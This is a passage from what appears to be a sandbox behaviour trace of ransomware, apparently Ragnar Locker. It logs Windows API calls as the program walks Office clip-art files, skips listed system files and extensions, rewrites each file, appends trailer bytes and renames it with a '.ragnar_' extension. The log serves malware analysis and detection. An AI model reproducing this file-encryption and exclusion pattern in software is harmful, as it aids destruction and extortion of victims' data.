Office\\CLIPART\\PUB60COR\\SO00177_.WMF" [0090.683] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF.ragnar_FD7BD9FC" [0090.683] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00177_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00177_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.684] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x283c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00183_.WMF", cAlternateFileName="")) returned 1 [0090.684] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.684] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00183_.WMF" | out: lpString1="SO00183_.WMF") returned="SO00183_.WMF" [0090.684] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF") returned=".WMF" [0090.684] lstrcmpiW (lpString1="SO00183_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.684] lstrcmpiW (lpString1="SO00183_.WMF", lpString2="autorun.inf") returned 1 [0090.684] lstrcmpiW (lpString1="SO00183_.WMF", lpString2="boot.ini") returned 1 [0090.684] lstrcmpiW (lpString1="SO00183_.WMF", lpString2="bootfont.bin") returned 1 [0090.684] lstrcmpiW (lpString1="SO00183_.WMF", lpString2="bootsect.bak") returned 1 [0090.684] lstrcmpiW (lpString1="SO00183_.WMF", lpString2="bootmgr") returned 1 [0090.684] lstrcmpiW (lpString1="SO00183_.WMF", lpString2="bootmgr.efi") returned 1 [0090.684] lstrcmpiW (lpString1="SO00183_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.684] lstrcmpiW (lpString1="SO00183_.WMF", lpString2="desktop.ini") returned 1 [0090.684] lstrcmpiW (lpString1="SO00183_.WMF", lpString2="iconcache.db") returned 1 [0090.684] lstrcmpiW (lpString1="SO00183_.WMF", lpString2="ntldr") returned 1 [0090.684] lstrcmpiW (lpString1="SO00183_.WMF", lpString2="ntuser.dat") returned 1 [0090.684] lstrcmpiW (lpString1="SO00183_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.684] lstrcmpiW (lpString1="SO00183_.WMF", lpString2="ntuser.ini") returned 1 [0090.684] lstrcmpiW (lpString1="SO00183_.WMF", lpString2="thumbs.db") returned -1 [0090.684] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.684] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.684] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.684] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.684] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.684] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.684] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00183_.wmf")) returned 0x20 [0090.685] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00183_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.685] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10300) returned 1 [0090.685] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2833, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.685] GetProcessHeap () returned 0x580000 [0090.685] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.685] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.687] VirtualAlloc (lpAddress=0x0, dwSize=0x283c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.687] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.687] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.687] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x283c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x283c, lpOverlapped=0x0) returned 1 [0090.688] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.688] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x283c, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.688] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x283c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x283c, lpOverlapped=0x0) returned 1 [0090.688] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x283c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.688] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.688] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x283c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.688] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.688] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.688] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.688] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.689] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.689] GetProcessHeap () returned 0x580000 [0090.689] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.689] CloseHandle (hObject=0xf4) returned 1 [0090.689] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF" [0090.689] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF.ragnar_FD7BD9FC" [0090.689] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00183_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00183_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.689] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a0ad00, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22a0ad00, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x514c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00190_.WMF", cAlternateFileName="")) returned 1 [0090.690] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.690] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00190_.WMF" | out: lpString1="SO00190_.WMF") returned="SO00190_.WMF" [0090.690] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF") returned=".WMF" [0090.690] lstrcmpiW (lpString1="SO00190_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.690] lstrcmpiW (lpString1="SO00190_.WMF", lpString2="autorun.inf") returned 1 [0090.690] lstrcmpiW (lpString1="SO00190_.WMF", lpString2="boot.ini") returned 1 [0090.690] lstrcmpiW (lpString1="SO00190_.WMF", lpString2="bootfont.bin") returned 1 [0090.690] lstrcmpiW (lpString1="SO00190_.WMF", lpString2="bootsect.bak") returned 1 [0090.690] lstrcmpiW (lpString1="SO00190_.WMF", lpString2="bootmgr") returned 1 [0090.690] lstrcmpiW (lpString1="SO00190_.WMF", lpString2="bootmgr.efi") returned 1 [0090.690] lstrcmpiW (lpString1="SO00190_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.690] lstrcmpiW (lpString1="SO00190_.WMF", lpString2="desktop.ini") returned 1 [0090.690] lstrcmpiW (lpString1="SO00190_.WMF", lpString2="iconcache.db") returned 1 [0090.690] lstrcmpiW (lpString1="SO00190_.WMF", lpString2="ntldr") returned 1 [0090.690] lstrcmpiW (lpString1="SO00190_.WMF", lpString2="ntuser.dat") returned 1 [0090.690] lstrcmpiW (lpString1="SO00190_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.690] lstrcmpiW (lpString1="SO00190_.WMF", lpString2="ntuser.ini") returned 1 [0090.690] lstrcmpiW (lpString1="SO00190_.WMF", lpString2="thumbs.db") returned -1 [0090.690] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.690] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.690] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.690] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.690] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.690] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.690] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00190_.wmf")) returned 0x20 [0090.690] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00190_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.691] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=20812) returned 1 [0090.691] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5143, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.691] GetProcessHeap () returned 0x580000 [0090.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.691] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.693] VirtualAlloc (lpAddress=0x0, dwSize=0x514c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.693] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.693] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.693] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x514c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x514c, lpOverlapped=0x0) returned 1 [0090.694] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.694] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x514c, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.694] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x514c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x514c, lpOverlapped=0x0) returned 1 [0090.694] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x514c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.694] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.695] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x514c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.695] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.695] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.695] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.695] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.695] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.695] GetProcessHeap () returned 0x580000 [0090.695] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.695] CloseHandle (hObject=0xf4) returned 1 [0090.695] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF" [0090.695] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF.ragnar_FD7BD9FC" [0090.695] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00190_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00190_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.696] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2090, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00191_.WMF", cAlternateFileName="")) returned 1 [0090.696] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.696] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00191_.WMF" | out: lpString1="SO00191_.WMF") returned="SO00191_.WMF" [0090.696] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF") returned=".WMF" [0090.696] lstrcmpiW (lpString1="SO00191_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.696] lstrcmpiW (lpString1="SO00191_.WMF", lpString2="autorun.inf") returned 1 [0090.696] lstrcmpiW (lpString1="SO00191_.WMF", lpString2="boot.ini") returned 1 [0090.696] lstrcmpiW (lpString1="SO00191_.WMF", lpString2="bootfont.bin") returned 1 [0090.696] lstrcmpiW (lpString1="SO00191_.WMF", lpString2="bootsect.bak") returned 1 [0090.696] lstrcmpiW (lpString1="SO00191_.WMF", lpString2="bootmgr") returned 1 [0090.696] lstrcmpiW (lpString1="SO00191_.WMF", lpString2="bootmgr.efi") returned 1 [0090.696] lstrcmpiW (lpString1="SO00191_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.696] lstrcmpiW (lpString1="SO00191_.WMF", lpString2="desktop.ini") returned 1 [0090.696] lstrcmpiW (lpString1="SO00191_.WMF", lpString2="iconcache.db") returned 1 [0090.696] lstrcmpiW (lpString1="SO00191_.WMF", lpString2="ntldr") returned 1 [0090.696] lstrcmpiW (lpString1="SO00191_.WMF", lpString2="ntuser.dat") returned 1 [0090.696] lstrcmpiW (lpString1="SO00191_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.696] lstrcmpiW (lpString1="SO00191_.WMF", lpString2="ntuser.ini") returned 1 [0090.696] lstrcmpiW (lpString1="SO00191_.WMF", lpString2="thumbs.db") returned -1 [0090.696] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.696] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.696] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.696] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.696] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.696] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.696] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.696] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00191_.wmf")) returned 0x20 [0090.697] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00191_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.697] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8336) returned 1 [0090.697] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2087, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.697] GetProcessHeap () returned 0x580000 [0090.697] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.697] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.699] VirtualAlloc (lpAddress=0x0, dwSize=0x2090, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.699] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.699] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.699] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2090, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2090, lpOverlapped=0x0) returned 1 [0090.700] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.700] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2090, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.700] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2090, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2090, lpOverlapped=0x0) returned 1 [0090.700] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2090, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.700] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.700] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2090, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.700] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.700] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.700] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.701] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.701] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.701] GetProcessHeap () returned 0x580000 [0090.701] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.701] CloseHandle (hObject=0xf4) returned 1 [0090.701] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF" [0090.701] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF.ragnar_FD7BD9FC" [0090.701] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00191_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00191_.wmf.ragnar_fd7bd9fc"), 